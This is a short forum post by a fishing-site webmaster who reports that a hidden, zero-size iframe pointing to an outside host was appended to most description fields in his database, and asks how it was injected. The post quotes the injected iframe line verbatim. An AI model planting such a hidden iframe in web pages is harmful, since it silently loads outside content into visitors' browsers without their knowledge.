I think my database has been hacked.

The description field of all but the last few entries has been appended with the following line of code.
<iframe src="http://x-traff.info/in.cgi?2" width="0" height="0" frameborder="0"></iframe>

I can clean this out of the database but does anyone have any idea of how it was entered?
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Will
Webmaster
FishHoo! Search Index for Fishermen
http://www.fishhoo.com/